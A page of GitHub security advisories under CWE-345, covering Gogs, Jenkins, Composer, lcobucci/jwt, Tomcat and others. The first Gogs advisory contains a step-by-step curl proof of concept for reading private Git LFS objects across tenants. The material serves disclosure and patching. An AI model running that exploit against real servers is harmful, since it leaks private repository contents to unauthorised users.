CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
944 vulnerabilities reference this CWE, most recent first.
GHSA-6P9M-Q3JP-47H4
Vulnerability from github – Published: 2026-06-23 17:10 – Updated: 2026-06-23 17:10Summary
Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.
Details
Dedupe shortcut at internal/lfsx/storage.go:79-82:
if fi, err := os.Stat(fpath); err == nil {
_, _ = io.Copy(io.Discard, rc)
return fi.Size(), nil // ← returns success with no hash check
}
Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.
serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())
CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.
serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.
Suggested fix
- In
LocalStorage.Upload, whenos.Stat(fpath) == nil, hash the request body viaio.TeeReaderandErrOIDMismatchon disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. - Optional second layer: in
serveUpload, refuseCreateLFSObjectunless the OID is referenced by an LFS pointer in the requesting repo's refs.
PoC
Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).
Reproduction prerequisites
- Running gogs ≥ 0.12.0 with
[lfs] ENABLED = true. - Two accounts:
alice(private reposecrets) andbob(any repobob/scratch); bob has no access toalice/secrets. - An OID known to be present in
alice/secrets— leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).
Setup (testbed simulation of the victim's prior state)
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'
VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary @- \
"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
Attack — bob has only $OID, not $VICTIM_BYTES
unset VICTIM_BYTES # attacker has no idea what the file contains
# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}
# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
# so LocalStorage.Upload takes the dedupe shortcut: drains the body
# without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
sed -n '63,114p' internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go # composite (RepoID, OID) PK — multiple repos can share an OID row
Impact
- Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
- Persistent: the
(bob/scratch, OID)row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52812"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:10:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Summary\n\nGit LFS storage is content-addressed by OID alone (`\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.\n\nDetails\n\nDedupe shortcut at `internal/lfsx/storage.go:79-82`:\n\n```go\nif fi, err := os.Stat(fpath); err == nil {\n _, _ = io.Copy(io.Discard, rc)\n return fi.Size(), nil // \u2190 returns success with no hash check\n}\n```\n\nHash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch \u2014 the dedupe path returns earlier.\n\n`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:\n\n```go\n_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo\nif err == nil { /* already linked, drain \u0026 return 200 */ }\nwritten, err := s.Upload(oid, c.Req.Request.Body)\nerr = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())\n```\n\n`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo\u0027s git history.\n\n`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.\n\nSuggested fix\n\n1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement \u2014 same code path as the new-file branch already uses. The \"client retries after partial failure\" use case still works; the retry just has to send the correct content.\n2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo\u0027s refs.\n\nPoC\n\nTested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).\n\n### Reproduction prerequisites\n- Running gogs \u2265 0.12.0 with `[lfs] ENABLED = true`.\n- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.\n- An OID known to be present in `alice/secrets` \u2014 leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).\n\n### Setup (testbed simulation of the victim\u0027s prior state)\n\n```sh\nGOGS=https://gogs.example\nALICE_AUTH=\u0027-u alice:alice_password\u0027\nBOB_AUTH=\u0027-u bob:bob_password\u0027\n\nVICTIM_BYTES=\u0027victim secret content\u0027\nOID=$(printf %s \"$VICTIM_BYTES\" | sha256sum | cut -d\u0027 \u0027 -f1)\nSIZE=$(printf %s \"$VICTIM_BYTES\" | wc -c)\n\n# After this, file lives at \u003cconf.LFS.ObjectsPath\u003e/\u003cOID[0]\u003e/\u003cOID[1]\u003e/\u003cOID\u003e\n# and (alice/secrets, OID) row exists in lfs_object.\nprintf %s \"$VICTIM_BYTES\" | curl -sS $ALICE_AUTH \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -X PUT --data-binary @- \\\n \"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID\"\n```\n\n### Attack \u2014 bob has only `$OID`, not `$VICTIM_BYTES`\n\n```sh\nunset VICTIM_BYTES # attacker has no idea what the file contains\n\n# 1. Confirm bob has no claim on $OID.\ncurl -sS $BOB_AUTH \\\n -H \u0027Accept: application/vnd.git-lfs+json\u0027 \\\n -H \u0027Content-Type: application/vnd.git-lfs+json\u0027 \\\n -X POST \"$GOGS/bob/scratch.git/info/lfs/objects/batch\" \\\n --data \"{\\\"operation\\\":\\\"download\\\",\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 \"actions\":{\"error\":{\"code\":404,\"message\":\"Object does not exist\"}}\n\n# 2. PUT garbage to bob\u0027s LFS endpoint. The on-disk OID file already exists\n# so LocalStorage.Upload takes the dedupe shortcut: drains the body\n# without hashing, returns alice\u0027s size; CreateLFSObject inserts (bob, OID).\ncurl -sS $BOB_AUTH \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -X PUT --data-binary \u0027irrelevant attacker-controlled bytes\u0027 \\\n \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\"\n# \u2192 HTTP/1.1 200 OK\n\n# 3. Download via bob\u0027s repo \u2014 gogs streams alice\u0027s bytes.\ncurl -sS $BOB_AUTH \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\" -o /tmp/leaked\ncat /tmp/leaked\n# \u2192 victim secret content\nsha256sum /tmp/leaked | cut -d\u0027 \u0027 -f1\n# \u2192 matches $OID exactly\n```\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\n\nsed -n \u002763,114p\u0027 internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch\nsed -n \u002774,117p\u0027 internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path\ngrep -n \u0027primaryKey\u0027 internal/database/lfs.go # composite (RepoID, OID) PK \u2014 multiple repos can share an OID row\n```\n\nImpact\n\n- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.\n- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers \u2014 all extracted byte-for-byte.\n- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob\u0027s repo write access does not revoke prior binds. No artefact on victim\u0027s side beyond a 200 in the LFS access log.",
"id": "GHSA-6p9m-q3jp-47h4",
"modified": "2026-06-23T17:10:25Z",
"published": "2026-06-23T17:10:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8333"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gogs: LFS dedupe path leaks private repo content across tenants"
}
GHSA-6RQP-HF8J-7X29
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2025-04-08 15:30Rumpus - FTP server version 9.0.7.1 Improper Token Verification– vulnerability may allow bypassing identity verification.
{
"affected": [],
"aliases": [
"CVE-2022-46370"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-12T16:15:00Z",
"severity": "HIGH"
},
"details": "Rumpus - FTP server version 9.0.7.1 Improper Token Verification\u2013 vulnerability may allow bypassing identity verification.",
"id": "GHSA-6rqp-hf8j-7x29",
"modified": "2025-04-08T15:30:36Z",
"published": "2023-07-06T19:24:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46370"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6RRP-MGHV-Q9RF
Vulnerability from github – Published: 2026-06-29 00:31 – Updated: 2026-06-29 00:31A vulnerability was detected in volcengine OpenViking up to 0.3.21. This affects the function str_to_uint64 of the file openviking/storage/vectordb/utils/str_to_uint64.py of the component Local VectorDB Primary-key Label Handler. The manipulation of the argument ID results in insufficient verification of data authenticity. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitability is reported as difficult. The pull request to fix this issue awaits acceptance.
{
"affected": [],
"aliases": [
"CVE-2026-13507"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-28T22:16:47Z",
"severity": "LOW"
},
"details": "A vulnerability was detected in volcengine OpenViking up to 0.3.21. This affects the function str_to_uint64 of the file openviking/storage/vectordb/utils/str_to_uint64.py of the component Local VectorDB Primary-key Label Handler. The manipulation of the argument ID results in insufficient verification of data authenticity. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitability is reported as difficult. The pull request to fix this issue awaits acceptance.",
"id": "GHSA-6rrp-mghv-q9rf",
"modified": "2026-06-29T00:31:37Z",
"published": "2026-06-29T00:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13507"
},
{
"type": "WEB",
"url": "https://github.com/volcengine/OpenViking/issues/2263"
},
{
"type": "WEB",
"url": "https://github.com/volcengine/OpenViking/pull/2268"
},
{
"type": "WEB",
"url": "https://github.com/volcengine/OpenViking"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-13507"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/838791"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/374515"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/374515/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6V6H-RW43-97FH
Vulnerability from github – Published: 2023-05-16 18:30 – Updated: 2023-05-17 02:52Jenkins SAML Single Sign On(SSO) Plugin 2.0.2 and earlier does not perform hostname validation when connecting to miniOrange or the configured IdP to retrieve SAML metadata.
This lack of validation could be abused using a man-in-the-middle attack to intercept these connections.
SAML Single Sign On(SSO) Plugin 2.1.0 performs hostname validation when connecting to miniOrange or the configured IdP to retrieve SAML metadata.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins.plugins:miniorange-saml-sp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32993"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-17T02:52:42Z",
"nvd_published_at": "2023-05-16T17:15:11Z",
"severity": "MODERATE"
},
"details": "Jenkins SAML Single Sign On(SSO) Plugin 2.0.2 and earlier does not perform hostname validation when connecting to miniOrange or the configured IdP to retrieve SAML metadata.\n\nThis lack of validation could be abused using a man-in-the-middle attack to intercept these connections.\n\nSAML Single Sign On(SSO) Plugin 2.1.0 performs hostname validation when connecting to miniOrange or the configured IdP to retrieve SAML metadata.",
"id": "GHSA-6v6h-rw43-97fh",
"modified": "2023-05-17T02:52:42Z",
"published": "2023-05-16T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32993"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2023-05-16/#SECURITY-3001%20(1)"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins SAML Single Sign On(SSO) Plugin missing hostname validation"
}
GHSA-6VWH-F528-JV49
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48Infotecs ViPNet Client and Coordinator before 4.3.2-42442 allow local users to gain privileges by placing a Trojan horse ViPNet update file in the update folder. The attack succeeds because of incorrect folder permissions in conjunction with a lack of integrity and authenticity checks.
{
"affected": [],
"aliases": [
"CVE-2017-9606"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-15T03:29:00Z",
"severity": "HIGH"
},
"details": "Infotecs ViPNet Client and Coordinator before 4.3.2-42442 allow local users to gain privileges by placing a Trojan horse ViPNet update file in the update folder. The attack succeeds because of incorrect folder permissions in conjunction with a lack of integrity and authenticity checks.",
"id": "GHSA-6vwh-f528-jv49",
"modified": "2022-05-13T01:48:02Z",
"published": "2022-05-13T01:48:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9606"
},
{
"type": "WEB",
"url": "https://github.com/Houl777/CVE-2017-9606"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6W33-5F64-CF4P
Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2022-05-13 01:40An elevation of privilege vulnerability in the HTC touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device. Product: Android. Versions: Kernel-3.10. Android ID: A-32089409.
{
"affected": [],
"aliases": [
"CVE-2017-0563"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-07T22:59:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability in the HTC touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device. Product: Android. Versions: Kernel-3.10. Android ID: A-32089409.",
"id": "GHSA-6w33-5f64-cf4p",
"modified": "2022-05-13T01:40:15Z",
"published": "2022-05-13T01:40:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0563"
},
{
"type": "WEB",
"url": "https://alephsecurity.com/vulns/aleph-2017009"
},
{
"type": "WEB",
"url": "https://github.com/alephsecurity/PoCs/tree/master/CVE-2017-0563"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2017-04-01"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2017/May/19"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97342"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038201"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6XV8-MG86-MQ56
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 15:33Firefox for iOS preserved cookies set on the initial PDF request across cross-origin HTTP redirects in TemporaryDocument, allowing a malicious site to inject arbitrary cookies into requests to an unrelated target domain. This vulnerability was fixed in Firefox for iOS 152.0.
{
"affected": [],
"aliases": [
"CVE-2026-53900"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T13:16:37Z",
"severity": "MODERATE"
},
"details": "Firefox for iOS preserved cookies set on the initial PDF request across cross-origin HTTP redirects in TemporaryDocument, allowing a malicious site to inject arbitrary cookies into requests to an unrelated target domain. This vulnerability was fixed in Firefox for iOS 152.0.",
"id": "GHSA-6xv8-mg86-mq56",
"modified": "2026-06-16T15:33:50Z",
"published": "2026-06-16T15:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53900"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2043204"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-56"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-725M-W832-Q973
Vulnerability from github – Published: 2023-09-21 06:30 – Updated: 2023-09-29 18:33Composer before 2016-02-10 allows cache poisoning from other projects built on the same host. This results in attacker-controlled code entering a server-side build process. The issue occurs because of the way that dist packages are cached. The cache key is derived from the package name, the dist type, and certain other data from the package repository (which may simply be a commit hash, and thus can be found by an attacker). Versions through 1.0.0-alpha11 are affected, and 1.0.0 is unaffected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-alpha11"
},
"package": {
"ecosystem": "Packagist",
"name": "composer/composer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8371"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-21T17:20:59Z",
"nvd_published_at": "2023-09-21T06:15:11Z",
"severity": "HIGH"
},
"details": "Composer before 2016-02-10 allows cache poisoning from other projects built on the same host. This results in attacker-controlled code entering a server-side build process. The issue occurs because of the way that dist packages are cached. The cache key is derived from the package name, the dist type, and certain other data from the package repository (which may simply be a commit hash, and thus can be found by an attacker). Versions through 1.0.0-alpha11 are affected, and 1.0.0 is unaffected.",
"id": "GHSA-725m-w832-q973",
"modified": "2023-09-29T18:33:22Z",
"published": "2023-09-21T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8371"
},
{
"type": "WEB",
"url": "https://flyingmana.de/blog_en/2016/02/14/composer_cache_injection_vulnerability_cve_2015_8371.html"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/e26be423c5bcfdb38478d2f92d1f928c15afb561/composer/composer/CVE-2015-8371.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/composer/composer/CVE-2015-8371.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/composer/composer"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/advisories-community/-/blob/main/packagist/composer/composer/CVE-2015-8371.yml"
},
{
"type": "WEB",
"url": "http://flyingmana.de/blog_en/2016/02/14/composer_cache_injection_vulnerability_cve_2015_8371.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Composer allows cache poisoning from other projects built on the same host"
}
GHSA-7322-JRQ4-X5HF
Vulnerability from github – Published: 2021-09-29 17:09 – Updated: 2021-09-29 18:04Impact
Users of HMAC-based algorithms (HS256, HS384, and HS512) combined with Lcobucci\JWT\Signer\Key\LocalFileReference as key are having their tokens issued/validated using the file path as hashing key - instead of the contents.
The HMAC hashing functions take any string as input and, since users can issue and validate tokens, people are lead to believe that everything works properly.
Patches
All versions have been patched to always load the file contents, deprecated the Lcobucci\JWT\Signer\Key\LocalFileReference, and suggest Lcobucci\JWT\Signer\Key\InMemory as the alternative.
Workarounds
Use Lcobucci\JWT\Signer\Key\InMemory instead of Lcobucci\JWT\Signer\Key\LocalFileReference to create the instances of your keys:
-use Lcobucci\JWT\Signer\Key\LocalFileReference;
+use Lcobucci\JWT\Signer\Key\InMemory;
-$key = LocalFileReference::file(__DIR__ . '/public-key.pem');
+$key = InMemory::file(__DIR__ . '/public-key.pem');
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "lcobucci/jwt"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "lcobucci/jwt"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "lcobucci/jwt"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41106"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-28T21:27:18Z",
"nvd_published_at": "2021-09-28T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nUsers of HMAC-based algorithms (HS256, HS384, and HS512) combined with `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference` as key are having their tokens issued/validated using the file path as hashing key - instead of the contents.\n\nThe HMAC hashing functions take any string as input and, since users can issue and validate tokens, people are lead to believe that everything works properly.\n\n### Patches\n\nAll versions have been patched to always load the file contents, deprecated the `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference`, and suggest `Lcobucci\\JWT\\Signer\\Key\\InMemory` as the alternative.\n\n### Workarounds\n\nUse `Lcobucci\\JWT\\Signer\\Key\\InMemory` instead of `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference` to create the instances of your keys:\n\n```diff\n-use Lcobucci\\JWT\\Signer\\Key\\LocalFileReference;\n+use Lcobucci\\JWT\\Signer\\Key\\InMemory;\n\n-$key = LocalFileReference::file(__DIR__ . \u0027/public-key.pem\u0027);\n+$key = InMemory::file(__DIR__ . \u0027/public-key.pem\u0027);\n```",
"id": "GHSA-7322-jrq4-x5hf",
"modified": "2021-09-29T18:04:31Z",
"published": "2021-09-29T17:09:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lcobucci/jwt/security/advisories/GHSA-7322-jrq4-x5hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41106"
},
{
"type": "WEB",
"url": "https://github.com/lcobucci/jwt/commit/8175de5b841fbe3fd97d2d49b3fc15c4ecb39a73"
},
{
"type": "WEB",
"url": "https://github.com/lcobucci/jwt/commit/c45bb8b961a8e742d8f6b88ef5ff1bd5cca5d01c"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/lcobucci/jwt/CVE-2021-41106.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/lcobucci/jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "File reference keys leads to incorrect hashes on HMAC algorithms"
}
GHSA-73RX-3F9R-X949
Vulnerability from github – Published: 2022-05-14 01:10 – Updated: 2024-02-22 22:27The CORS Filter in Apache Tomcat 9.0.0.M1 to 9.0.0.M21, 8.5.0 to 8.5.15, 8.0.0.RC1 to 8.0.44 and 7.0.41 to 7.0.78 did not add an HTTP Vary header indicating that the response varies depending on Origin. This permitted client and server side cache poisoning in some circumstances.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.0.M21"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.0.M22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.5.15"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.44"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0.RC1"
},
{
"fixed": "8.0.45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.78"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.41"
},
{
"fixed": "7.0.79"
}
],
"type": "ECOSYSTEM"
